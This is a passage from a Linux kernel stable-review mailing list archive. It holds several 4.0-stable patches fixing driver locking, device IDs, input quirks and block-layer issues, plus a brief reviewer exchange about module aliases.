@@ -679,13 +680,15 @@ at_xdmac_prep_slave_sg(struct dma_chan * xfer_size += len; } -spin_unlock_bh (&atchan->lock); first->tx_dma_desc.flags = flags; first->xfer_size = xfer_size; first->direction = direction; + ret = &first->tx_dma_desc; -return &first->tx_dma_desc; +spin_unlock: +spin_unlock_irqrestore (&atchan->lock, irqflags); +return ret; } static struct dma_async_tx_descriptor *
@@ -698,6 +701,7 @@ at_xdmac_prep_dma_cyclic(struct dma_chanstruct at_xdmac_desc *first =NULL , *prev =NULL ;unsigned int periods = buf_len / period_len;int i; +unsigned long irqflags; dev_dbg(chan2dev(chan), "%s: buf_addr=%pad, buf_len=%zd, period_len=%zd, dir=%s, flags=0x%lx\n", __func__, &buf_addr, buf_len, period_len,
@@ -719,16 +723,16 @@ at_xdmac_prep_dma_cyclic(struct dma_chanfor (i =0 ; i < periods; i++) {struct at_xdmac_desc *desc =NULL ; -spin_lock_bh (&atchan->lock); +spin_lock_irqsave (&atchan->lock, irqflags); desc =at_xdmac_get_desc (atchan);if (!desc) {dev_err (chan2dev (chan),"can't get descriptor\n" );if (first)list_splice_init (&first->descs_list, &atchan->free_descs_list); -spin_unlock_bh (&atchan->lock); +spin_unlock_irqrestore (&atchan->lock, irqflags);return NULL ; } -spin_unlock_bh (&atchan->lock); +spin_unlock_irqrestore (&atchan->lock, irqflags);dev_dbg (chan2dev (chan),"%s: desc=0x%p, tx_dma_desc.phys=%pad\n" , __func__, desc, &desc->tx_dma_desc.phys);
@@ -802,6 +806,7 @@ at_xdmac_prep_dma_memcpy(struct dma_chan | AT_XDMAC_CC_SIF(0) |AT_XDMAC_CC_MBSIZE_SIXTEEN |AT_XDMAC_CC_TYPE_MEM_TRAN ; +unsigned long irqflags;dev_dbg (chan2dev (chan),"%s: src=%pad, dest=%pad, len=%zd, flags=0x%lx\n" , __func__, &src, &dest, len, flags);
@@ -834,9 +839,9 @@ at_xdmac_prep_dma_memcpy(struct dma_chandev_dbg (chan2dev (chan),"%s: remaining_size=%zu\n" , __func__, remaining_size); -spin_lock_bh (&atchan->lock); +spin_lock_irqsave (&atchan->lock, irqflags); desc =at_xdmac_get_desc (atchan); -spin_unlock_bh (&atchan->lock); +spin_unlock_irqrestore (&atchan->lock, irqflags);if (!desc) {dev_err (chan2dev (chan),"can't get descriptor\n" );if (first)
@@ -922,6 +927,7 @@ at_xdmac_tx_status(struct dma_chan *chanint residue;u32 cur_nda, mask, value;u8 dwidth =0 ; +unsigned long flags; ret =dma_cookie_status (chan, cookie, txstate);if (ret ==DMA_COMPLETE )
@@ -930,7 +936,7 @@ at_xdmac_tx_status(struct dma_chan *chanif (!txstate)return ret; -spin_lock_bh (&atchan->lock); +spin_lock_irqsave (&atchan->lock, flags); desc = list_first_entry(&atchan->xfers_list, struct at_xdmac_desc, xfer_node);
@@ -940,8 +946,7 @@ at_xdmac_tx_status(struct dma_chan *chan*/ if (!desc->active_xfer) {dma_set_residue (txstate, desc->xfer_size); -spin_unlock_bh (&atchan->lock); -return ret; + goto spin_unlock; } residue = desc->xfer_size;
@@ -972,14 +977,14 @@ at_xdmac_tx_status(struct dma_chan *chan } residue +=at_xdmac_chan_read (atchan,AT_XDMAC_CUBC ) << dwidth; -spin_unlock_bh (&atchan->lock); -dma_set_residue (txstate, residue);dev_dbg (chan2dev (chan),"%s: desc=0x%p, tx_dma_desc.phys=%pad, tx_status=%d, cookie=%d, residue=%d\n" , __func__, desc, &desc->tx_dma_desc.phys, ret, cookie, residue); +spin_unlock: +spin_unlock_irqrestore (&atchan->lock, flags);return ret; }
@@ -1000,8 +1005,9 @@ static void at_xdmac_remove_xfer(structstatic void at_xdmac_advance_work (struct at_xdmac_chan *atchan) {struct at_xdmac_desc *desc; +unsigned long flags; -spin_lock_bh (&atchan->lock); +spin_lock_irqsave (&atchan->lock, flags);/* * If channel is enabled, do nothing, advance_work will be triggered
@@ -1016,7 +1022,7 @@ static void at_xdmac_advance_work(structat_xdmac_start_xfer (atchan, desc); } -spin_unlock_bh (&atchan->lock); +spin_unlock_irqrestore (&atchan->lock, flags); }static void at_xdmac_handle_cyclic (struct at_xdmac_chan *atchan)
@@ -1152,12 +1158,13 @@ static int at_xdmac_device_config(struct {struct at_xdmac_chan *atchan =to_at_xdmac_chan (chan);int ret; +unsigned long flags;dev_dbg (chan2dev (chan),"%s\n" , __func__); -spin_lock_bh (&atchan->lock); +spin_lock_irqsave (&atchan->lock, flags); ret =at_xdmac_set_slave_config (chan, config); -spin_unlock_bh (&atchan->lock); +spin_unlock_irqrestore (&atchan->lock, flags);return ret; }
@@ -1166,18 +1173,19 @@ static int at_xdmac_device_pause(struct {struct at_xdmac_chan *atchan =to_at_xdmac_chan (chan);struct at_xdmac *atxdmac =to_at_xdmac (atchan->chan.device); +unsigned long flags;dev_dbg (chan2dev (chan),"%s\n" , __func__);if (test_and_set_bit (AT_XDMAC_CHAN_IS_PAUSED , &atchan->status))return 0 ; -spin_lock_bh (&atchan->lock); +spin_lock_irqsave (&atchan->lock, flags);at_xdmac_write (atxdmac,AT_XDMAC_GRWS , atchan->mask);while (at_xdmac_chan_read (atchan,AT_XDMAC_CC ) & (AT_XDMAC_CC_WRIP |AT_XDMAC_CC_RDIP ))cpu_relax (); -spin_unlock_bh (&atchan->lock); +spin_unlock_irqrestore (&atchan->lock, flags);return 0 ; }
@@ -1186,16 +1194,19 @@ static int at_xdmac_device_resume(struct {struct at_xdmac_chan *atchan =to_at_xdmac_chan (chan);struct at_xdmac *atxdmac =to_at_xdmac (atchan->chan.device); +unsigned long flags;dev_dbg (chan2dev (chan),"%s\n" , __func__); -spin_lock_bh (&atchan->lock); -if (!at_xdmac_chan_is_paused (atchan)) +spin_lock_irqsave (&atchan->lock, flags); +if (!at_xdmac_chan_is_paused (atchan)) { +spin_unlock_irqrestore (&atchan->lock, flags);return 0 ; + }at_xdmac_write (atxdmac,AT_XDMAC_GRWR , atchan->mask);clear_bit (AT_XDMAC_CHAN_IS_PAUSED , &atchan->status); -spin_unlock_bh (&atchan->lock); +spin_unlock_irqrestore (&atchan->lock, flags);return 0 ; }
@@ -1205,10 +1216,11 @@ static int at_xdmac_device_terminate_allstruct at_xdmac_desc *desc, *_desc;struct at_xdmac_chan *atchan =to_at_xdmac_chan (chan);struct at_xdmac *atxdmac =to_at_xdmac (atchan->chan.device); +unsigned long flags;dev_dbg (chan2dev (chan),"%s\n" , __func__); -spin_lock_bh (&atchan->lock); +spin_lock_irqsave (&atchan->lock, flags);at_xdmac_write (atxdmac,AT_XDMAC_GD , atchan->mask);while (at_xdmac_read (atxdmac,AT_XDMAC_GS ) & atchan->mask)cpu_relax ();
@@ -1218,7 +1230,7 @@ static int at_xdmac_device_terminate_allat_xdmac_remove_xfer (atchan, desc);clear_bit (AT_XDMAC_CHAN_IS_CYCLIC , &atchan->status); -spin_unlock_bh (&atchan->lock); +spin_unlock_irqrestore (&atchan->lock, flags);return 0 ; }
@@ -1228,8 +1240,9 @@ static int at_xdmac_alloc_chan_resourcesstruct at_xdmac_chan *atchan =to_at_xdmac_chan (chan);struct at_xdmac_desc *desc;int i; +unsigned long flags; -spin_lock_bh (&atchan->lock); +spin_lock_irqsave (&atchan->lock, flags);if (at_xdmac_chan_is_enabled (atchan)) { dev_err(chan2dev(chan),
@@ -1260,7 +1273,7 @@ static int at_xdmac_alloc_chan_resourcesdev_dbg (chan2dev (chan),"%s: allocated %d descriptors\n" , __func__, i); spin_unlock: -spin_unlock_bh (&atchan->lock); +spin_unlock_irqrestore (&atchan->lock, flags);return i; }
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 50/105 i2c: hix5hd2: Fix modalias to make module auto-loading work
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Axel Lin <[email protected]>
commit 3e59ae4aa28237ced95413fbd46004b57c4da095 upstream.
Make the modalias match driver name, this is required to make module auto-loading work.
--- drivers/i2c/busses/i2c-hix5hd2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/i2c/busses/i2c-hix5hd2.c +1 -1
@@ -554,4 +554,4 @@ module_platform_driver(hix5hd2_i2c_driveMODULE_DESCRIPTION ("Hix5hd2 I2C Bus driver" );MODULE_AUTHOR ("Wei Yan <[email protected]>" );MODULE_LICENSE ("GPL" ); -MODULE_ALIAS ("platform:i2c-hix5hd2" ); +MODULE_ALIAS ("platform:hix5hd2-i2c" );
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 4.0 050/105] i2c: hix5hd2: Fix modalias to make module auto-loading work
Quoted 15 lines · Greg Kroah-Hartman
Make the modalias match driver name, this is required to make module auto-loading work.
Signed-off-by Axel Lin <[email protected]>Acked-by Zhangfei Gao <[email protected]>Signed-off-by Wolfram Sang <[email protected]>Signed-off-by Greg Kroah-Hartman <[email protected]>--- drivers/i2c/busses/i2c-hix5hd2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/i2c/busses/i2c-hix5hd2.c module_platform_driver(hix5hd2_i2c_drive · line 557
Quoted 5 lines
drivers/i2c/busses/i2c-hix5hd2.c +1
-1@@ -554,4 +554,4 @@ module_platform_driver(hix5hd2_i2c_driveMODULE_DESCRIPTION ("Hix5hd2 I2C Bus driver" );MODULE_AUTHOR ("Wei Yan <[email protected]>" );MODULE_LICENSE ("GPL" ); -MODULE_ALIAS ("platform:i2c-hix5hd2" ); +MODULE_ALIAS ("platform:hix5hd2-i2c" );
How does this work?
My current understanding is that for module auto-loading to work with the platform: prefix one needs a matching platform_device (ie, a struct platform_device with .name being "hix5hd2-i2c"). And I couldn't spot where that platform_device is created in 4.0 or v4.1.
Does matching platform_driver.driver.name (which is what this patch appears to do) also enable module auto-loading? That would mean there's another, even less obvious, mechanism at work here.
Thanks,
Paul Bolle
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerRe: [PATCH 4.0 050/105] i2c: hix5hd2: Fix modalias to make module auto-loading work
Quoted 13 lines · Paul Bolle
Quoted 12 lines · Greg Kroah-Hartman
Make the modalias match driver name, this is required to make module auto-loading work.
Signed-off-by Axel Lin <[email protected]>Acked-by Zhangfei Gao <[email protected]>Signed-off-by Wolfram Sang <[email protected]>Signed-off-by Greg Kroah-Hartman <[email protected]>--- drivers/i2c/busses/i2c-hix5hd2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
Quoted 10 lines
drivers/i2c/busses/i2c-hix5hd2.c module_platform_driver(hix5hd2_i2c_drive · line 557
Quoted 8 lines
drivers/i2c/busses/i2c-hix5hd2.c +1
-1@@ -554,4 +554,4 @@ module_platform_driver(hix5hd2_i2c_driveMODULE_DESCRIPTION ("Hix5hd2 I2C Bus driver" );MODULE_AUTHOR ("Wei Yan <[email protected]>" );MODULE_LICENSE ("GPL" ); -MODULE_ALIAS ("platform:i2c-hix5hd2" ); +MODULE_ALIAS ("platform:hix5hd2-i2c" );How does this work?
Like all platform module aliases do, this isn't a new feature...
greg k-h
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 51/105 i2c: s3c2410: fix oops in suspend callback for non-dt platforms
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vasily Khoruzhick <[email protected]>
commit 8d487a43c36b54a029d74ad3b0a6a9d1253e728a upstream.
Initialize sysreg by default, otherwise driver will crash in suspend callback when not using DT.
--- drivers/i2c/busses/i2c-s3c2410.c | 1 + 1 file changed, 1 insertion(+)
drivers/i2c/busses/i2c-s3c2410.c +1 -0
@@ -1143,6 +1143,7 @@ static int s3c24xx_i2c_probe(struct platreturn -ENOMEM ; i2c->quirks =s3c24xx_get_device_quirks (pdev); + i2c->sysreg =ERR_PTR (-ENOENT );if (pdata)memcpy (i2c->pdata, pdata,sizeof (*pdata));else
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 52/105 Input: alps - do not reduce trackpoint speed by half
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Hans de Goede <[email protected]>
commit 088df2ccef75754cc16a6ba31829d23bcb2b68ed upstream.
On some v7 devices (e.g. Lenovo-E550) the deltas reported are typically only in the 0-1 range dividing this by 2 results in a range of 0-0.
And even for v7 devices where this does not lead to making the trackstick entirely unusable, it makes it twice as slow as before we added v7 support and were using the ps/2 mouse emulation of the dual point setup.
If some kind of generic slowdown is actually necessary for some devices, then that belongs in userspace, not in the kernel.
--- drivers/input/mouse/alps.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-)
drivers/input/mouse/alps.c +2 -3
@@ -1042,9 +1042,8 @@ static void alps_process_trackstick_pack right = (packet[1 ] &0x02 ) >>1 ; middle = (packet[1 ] &0x04 ) >>2 ; -/* Divide 2 since trackpoint's speed is too fast */ -input_report_rel (dev2,REL_X , (char )x /2 ); -input_report_rel (dev2,REL_Y , -((char )y /2 )); +input_report_rel (dev2,REL_X , (char )x); +input_report_rel (dev2,REL_Y , -((char )y));input_report_key (dev2,BTN_LEFT , left);input_report_key (dev2,BTN_RIGHT , right);
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 53/105 Input: synaptics - add min/max quirk for Lenovo S540
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peter Hutterer <[email protected]>
commit 7f2ca8b55aeff1fe51ed3570200ef88a96060917 upstream.
https://bugzilla.redhat.com/show_bug.cgi?id=1223051#c2
--- drivers/input/mouse/synaptics.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-)
drivers/input/mouse/synaptics.c +6 -1
@@ -148,6 +148,11 @@ static const struct min_max_quirk min_ma1024 ,5112 ,2024 ,4832 }, { + (const char *const []){"LEN2000" ,NULL }, + {ANY_BOARD_ID, ANY_BOARD_ID}, +1024 ,5113 ,2021 ,4832 + }, + { (const char *const []){"LEN2001" ,NULL }, {ANY_BOARD_ID, ANY_BOARD_ID},1024 ,5022 ,2508 ,4832
@@ -188,7 +193,7 @@ static const char * const topbuttonpad_p"LEN0045" ,"LEN0047" ,"LEN0049" , -"LEN2000" , +"LEN2000" ,/* S540 */ "LEN2001" ,/* Edge E431 */ "LEN2002" ,/* Edge E531 */ "LEN2003",
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 55/105 Input: elantech - add new icbody type
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sam Hung <[email protected]>
commit 692dd1916436164e228608803dfb6cb768d6355a upstream.
This adds new icbody type to the list recognized by Elantech PS/2 driver.
--- drivers/input/mouse/elantech.c | 1 + 1 file changed, 1 insertion(+)
drivers/input/mouse/elantech.c +1 -0
@@ -1556,6 +1556,7 @@ static int elantech_set_properties(struccase 9 :case 10 :case 13 : +case 14 : etd->hw_version =4 ;break ;default :
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 56/105 block: fix ext_dev_lock lockdep report
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Dan Williams <[email protected]>
commit 4d66e5e9b6d720d8463e11d027bd4ad91c8b1318 upstream.
=================================
[ INFO: inconsistent lock state ]
4.1.0-rc7+ #217 Tainted: G O
---------------------------------
inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage. swapper/6/0 [HC0[0]:SC1[1]:HE1:SE0] takes:
(ext_devt_lock){+.?...}, at: [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70
{SOFTIRQ-ON-W} state was registered at:
[<ffffffff810bf6b1>] __lock_acquire+0x461/0x1e70 [<ffffffff810c1947>] lock_acquire+0xb7/0x290 [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50 [<ffffffff8143a07d>] blk_alloc_devt+0x6d/0xd0 <-- take the lock in process context [..] [<ffffffff810bf64e>] __lock_acquire+0x3fe/0x1e70 [<ffffffff810c00ad>] ? __lock_acquire+0xe5d/0x1e70 [<ffffffff810c1947>] lock_acquire+0xb7/0x290 [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70 [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50 [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70 [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70 <-- take the lock in softirq [<ffffffff8143bfec>] part_release+0x1c/0x50 [<ffffffff8158edf6>] device_release+0x36/0xb0 [<ffffffff8145ac2b>] kobject_cleanup+0x7b/0x1a0 [<ffffffff8145aad0>] kobject_put+0x30/0x70 [<ffffffff8158f147>] put_device+0x17/0x20 [<ffffffff8143c29c>] delete_partition_rcu_cb+0x16c/0x180 [<ffffffff8143c130>] ? read_dev_sector+0xa0/0xa0 [<ffffffff810e0e0f>] rcu_process_callbacks+0x2ff/0xa90 [<ffffffff810e0dcf>] ? rcu_process_callbacks+0x2bf/0xa90 [<ffffffff81067e2e>] __do_softirq+0xde/0x600
Neil sees this in his tests and it also triggers on pmem driver unbind for the libnvdimm tests. This fix is on top of an initial fix by Keith for incorrect usage of mutex_lock() in this path: 2da78092dda1 "block:
Fix dev_t minor allocation lifetime". Both this and 2da78092dda1 are candidates for -stable.
--- block/genhd.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-)
block/genhd.c +6 -6
@@ -422,9 +422,9 @@ int blk_alloc_devt(struct hd_struct *par/* allocate ext devt */ idr_preload (GFP_KERNEL ); -spin_lock (&ext_devt_lock); +spin_lock_bh (&ext_devt_lock); idx =idr_alloc (&ext_devt_idr, part,0 ,NR_EXT_DEVT ,GFP_NOWAIT ); -spin_unlock (&ext_devt_lock); +spin_unlock_bh (&ext_devt_lock);idr_preload_end ();if (idx <0 )
@@ -449,9 +449,9 @@ void blk_free_devt(dev_t devt)return ;if (MAJOR (devt) ==BLOCK_EXT_MAJOR ) { -spin_lock (&ext_devt_lock); +spin_lock_bh (&ext_devt_lock);idr_remove (&ext_devt_idr,blk_mangle_minor (MINOR (devt))); -spin_unlock (&ext_devt_lock); +spin_unlock_bh (&ext_devt_lock); } }
@@ -691,13 +691,13 @@ struct gendisk *get_gendisk(dev_t devt, }else {struct hd_struct *part; -spin_lock (&ext_devt_lock); +spin_lock_bh (&ext_devt_lock); part =idr_find (&ext_devt_idr,blk_mangle_minor (MINOR (devt)));if (part &&get_disk (part_to_disk (part))) { *partno = part->partno; disk =part_to_disk (part); } -spin_unlock (&ext_devt_lock); +spin_unlock_bh (&ext_devt_lock); }return disk;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 57/105 block: discard bdi_unregister() in favour of bdi_destroy()
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: NeilBrown <[email protected]>
commit aad653a0bc09dd4ebcb5579f9f835bbae9ef2ba3 upstream.
bdi_unregister() now contains very little functionality.
It contains a "WARN_ON" if bdi->dev is NULL. This warning is of no real consequence as bdi->dev isn't needed by anything else in the function, and it triggers if
blk_cleanup_queue() -> bdi_destroy()
is called before bdi_unregister, which happens since
Commit: 6cd18e711dd8 ("block: destroy bdi before blockdev is unregistered.")
So this isn't wanted.
It also calls bdi_set_min_ratio(). This needs to be called after writes through the bdi have all been flushed, and before the bdi is destroyed. Calling it early is better than calling it late as it frees up a global resource.
Calling it immediately after bdi_wb_shutdown() in bdi_destroy() perfectly fits these requirements.
So bdi_unregister() can be discarded with the important content moved to bdi_destroy(), as can the
writeback_bdi_unregister
event which is already not used.
--- block/genhd.c | 1 - include/linux/backing-dev.h | 1 - include/trace/events/writeback.h | 1 - mm/backing-dev.c | 18 +----------------- 4 files changed, 1 insertion(+), 20 deletions(-)
block/genhd.c +0 -1
@@ -653,7 +653,6 @@ void del_gendisk(struct gendisk *disk) disk->flags &= ~GENHD_FL_UP ;sysfs_remove_link (&disk_to_dev (disk)->kobj,"bdi" ); -bdi_unregister (&disk->queue->backing_dev_info);blk_unregister_queue (disk);blk_unregister_region (disk_devt (disk), disk->minors);
include/linux/backing-dev.h +0 -1
@@ -116,7 +116,6 @@ __printf(3, 4)int bdi_register (struct backing_dev_info *bdi,struct device *parent,const char *fmt, ...);int bdi_register_dev (struct backing_dev_info *bdi,dev_t dev); -void bdi_unregister (struct backing_dev_info *bdi);int __must_check bdi_setup_and_register (struct backing_dev_info *,char *);void bdi_start_writeback (struct backing_dev_info *bdi,long nr_pages,enum wb_reason reason);
include/trace/events/writeback.h +0 -1
@@ -233,7 +233,6 @@ DEFINE_EVENT(writeback_class, name, \DEFINE_WRITEBACK_EVENT (writeback_nowork);DEFINE_WRITEBACK_EVENT (writeback_wake_background);DEFINE_WRITEBACK_EVENT (writeback_bdi_register); -DEFINE_WRITEBACK_EVENT (writeback_bdi_unregister); DECLARE_EVENT_CLASS(wbc_class, TP_PROTO(struct writeback_control *wbc, struct backing_dev_info *bdi),
mm/backing-dev.c +1 -17
@@ -359,23 +359,6 @@ static void bdi_wb_shutdown(struct backiflush_delayed_work (&bdi->wb.dwork); } -/* -* Called when the device behind @bdi has been removed or ejected. -* -* We can't really do much here except for reducing the dirty ratio at -* the moment. In the future we should be able to set a flag so that -* the filesystem can handle errors at mark_inode_dirty time instead -* of only at writeback time. -*/ -void bdi_unregister (struct backing_dev_info *bdi) -{ -if (WARN_ON_ONCE (!bdi->dev)) -return ; - -bdi_set_min_ratio (bdi,0 ); -} -EXPORT_SYMBOL (bdi_unregister); -static void bdi_wb_init (struct bdi_writeback *wb,struct backing_dev_info *bdi) {memset (wb,0 ,sizeof (*wb));
@@ -443,6 +426,7 @@ void bdi_destroy(struct backing_dev_infoint i;bdi_wb_shutdown (bdi); +bdi_set_min_ratio (bdi,0 );WARN_ON (!list_empty (&bdi->work_list));WARN_ON (delayed_work_pending (&bdi->wb.dwork));
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 58/105 USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: "John D. Blair" <[email protected]>
commit df72d588c54dad57dabb3cc8a87475d8ed66d806 upstream.
Added the USB serial device ID for the HubZ dual ZigBee and Z-Wave radio dongle.
--- drivers/usb/serial/cp210x.c | 1 + 1 file changed, 1 insertion(+)
drivers/usb/serial/cp210x.c +1 -0
@@ -128,6 +128,7 @@ static const struct usb_device_id id_tab { USB_DEVICE(0x10C4, 0x8946) }, /* Ketra N1 Wireless Interface */ { USB_DEVICE(0x10C4, 0x8977) }, /* CEL MeshWorks DevKit Device */ { USB_DEVICE(0x10C4, 0x8998) }, /* KCF Technologies PRN */ + { USB_DEVICE(0x10C4, 0x8A2A) }, /* HubZ dual ZigBee and Z-Wave dongle */ { USB_DEVICE(0x10C4, 0xEA60) }, /* Silicon Labs factory default */ { USB_DEVICE(0x10C4, 0xEA61) }, /* Silicon Labs factory default */ { USB_DEVICE(0x10C4, 0xEA70) }, /* Silicon Labs factory default */
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 59/105 USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Patrick Riphagen <[email protected]>
commit 1df5b888f54070a373a73b34488cc78c2365b7b4 upstream.
This adds support for new Xsens device, Motion Tracker Development Board, using Xsens' own Vendor ID
--- drivers/usb/serial/ftdi_sio.c | 1 + drivers/usb/serial/ftdi_sio_ids.h | 1 + 2 files changed, 2 insertions(+)
drivers/usb/serial/ftdi_sio.c +1 -0
@@ -699,6 +699,7 @@ static const struct usb_device_id id_tab { USB_DEVICE(XSENS_VID, XSENS_AWINDA_DONGLE_PID) }, { USB_DEVICE(XSENS_VID, XSENS_AWINDA_STATION_PID) }, { USB_DEVICE(XSENS_VID, XSENS_CONVERTER_PID) }, + { USB_DEVICE(XSENS_VID, XSENS_MTDEVBOARD_PID) }, { USB_DEVICE(XSENS_VID, XSENS_MTW_PID) }, { USB_DEVICE(FTDI_VID, FTDI_OMNI1509) }, { USB_DEVICE(MOBILITY_VID, MOBILITY_USB_SERIAL_PID) },
drivers/usb/serial/ftdi_sio_ids.h +1 -0
@@ -155,6 +155,7 @@#define XSENS_AWINDA_STATION_PID 0x0101#define XSENS_AWINDA_DONGLE_PID 0x0102#define XSENS_MTW_PID 0x0200/* Xsens MTw */ +#define XSENS_MTDEVBOARD_PID 0x0300/* Motion Tracker Development Board */ #define XSENS_CONVERTER_PID 0xD00D/* Xsens USB-serial converter */ /* Xsens devices using FTDI VID */
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 60/105 usb: dwc3: gadget: Fix incorrect DEPCMD and DGCMD status macros
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Subbaraya Sundeep Bhatta <[email protected]>
commit 459e210c4fd034d20077bcec31fec9472a700fe9 upstream.
Fixed the incorrect macro definitions correctly as per databook.
--- drivers/usb/dwc3/core.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/usb/dwc3/core.h +2 -2
@@ -339,7 +339,7 @@#define DWC3_DGCMD_SET_ENDPOINT_NRDY 0x0c#define DWC3_DGCMD_RUN_SOC_BUS_LOOPBACK 0x10 -#define DWC3_DGCMD_STATUS (n) (((n) >> 15) & 1) +#define DWC3_DGCMD_STATUS (n) (((n) >> 12) & 0x0F)#define DWC3_DGCMD_CMDACT (1 << 10)#define DWC3_DGCMD_CMDIOC (1 << 8)
@@ -355,7 +355,7 @@#define DWC3_DEPCMD_PARAM_SHIFT 16#define DWC3_DEPCMD_PARAM (x) ((x) << DWC3_DEPCMD_PARAM_SHIFT)#define DWC3_DEPCMD_GET_RSC_IDX (x) (((x) >> DWC3_DEPCMD_PARAM_SHIFT) & 0x7f) -#define DWC3_DEPCMD_STATUS (x) (((x) >> 15) & 1) +#define DWC3_DEPCMD_STATUS (x) (((x) >> 12) & 0x0F)#define DWC3_DEPCMD_HIPRI_FORCERM (1 << 11)#define DWC3_DEPCMD_CMDACT (1 << 10)#define DWC3_DEPCMD_CMDIOC (1 << 8)
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 61/105 usb: host: xhci: add mutex for non-thread-safe data
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Chris Bainbridge <[email protected]>
commit a00918d0521df1c7a2ec9143142a3ea998c8526d upstream.
Regression in commit 638139eb95d2 ("usb: hub: allow to process more usb hub events in parallel")
The regression resulted in intermittent failure to initialise a 10-port hub (with three internal VL812 4-port hub controllers) on boot, with a failure rate of around 8%, due to multiple race conditions when accessing addr_dev and slot_id in struct xhci_hcd.
This regression also exposed a problem with xhci_setup_device, which "should be protected by the usb_address0_mutex" but no longer is due to
commit 6fecd4f2a58c ("USB: separate usb_address0 mutexes for each bus")
With separate buses (and locks) it is no longer the case that a single lock will protect xhci_setup_device from accesses by two parallel threads processing events on the two buses.
Fix this by adding a mutex to protect addr_dev and slot_id in struct xhci_hcd, and by making the assignment of slot_id atomic.
Fixes multiple boot errors:
[ 0.583008] xhci_hcd 0000:00:14.0: Bad Slot ID 2 [ 0.583009] xhci_hcd 0000:00:14.0: Could not allocate xHCI USB device data structures [ 0.583012] usb usb1-port3: couldn't allocate usb_device
And:
[ 0.637409] xhci_hcd 0000:00:14.0: Error while assigning device slot ID [ 0.637417] xhci_hcd 0000:00:14.0: Max number of devices this xHCI host supports is 32. [ 0.637421] usb usb1-port1: couldn't allocate usb_device
And:
[ 0.753372] xhci_hcd 0000:00:14.0: ERROR: unexpected setup context command completion code 0x0. [ 0.753373] usb 1-3: hub failed to enable device, error -22 [ 0.753400] xhci_hcd 0000:00:14.0: Error while assigning device slot ID [ 0.753402] xhci_hcd 0000:00:14.0: Max number of devices this xHCI host supports is 32. [ 0.753403] usb usb1-port3: couldn't allocate usb_device
And:
[ 11.018386] usb 1-3: device descriptor read/all, error -110
And:
[ 5.753838] xhci_hcd 0000:00:14.0: Timeout while waiting for setup device command
Tested with 200 reboots, resulting in no USB hub init related errors.
--- drivers/usb/host/xhci.c | 49 +++++++++++++++++++++++++++++------------------- drivers/usb/host/xhci.h | 2 + 2 files changed, 32 insertions(+), 19 deletions(-)
drivers/usb/host/xhci.c +30 -19
@@ -3682,18 +3682,21 @@ int xhci_alloc_dev(struct usb_hcd *hcd, {struct xhci_hcd *xhci =hcd_to_xhci (hcd);unsigned long flags; -int ret; +int ret, slot_id;struct xhci_command *command; command =xhci_alloc_command (xhci, false, false,GFP_KERNEL );if (!command)return 0 ; +/* xhci->slot_id and xhci->addr_dev are not thread-safe */ +mutex_lock (&xhci->mutex);spin_lock_irqsave (&xhci->lock, flags); command->completion = &xhci->addr_dev; ret =xhci_queue_slot_control (xhci, command,TRB_ENABLE_SLOT ,0 );if (ret) {spin_unlock_irqrestore (&xhci->lock, flags); +mutex_unlock (&xhci->mutex);xhci_dbg (xhci,"FIXME: allocate a command ring segment\n" );kfree (command);return 0 ;
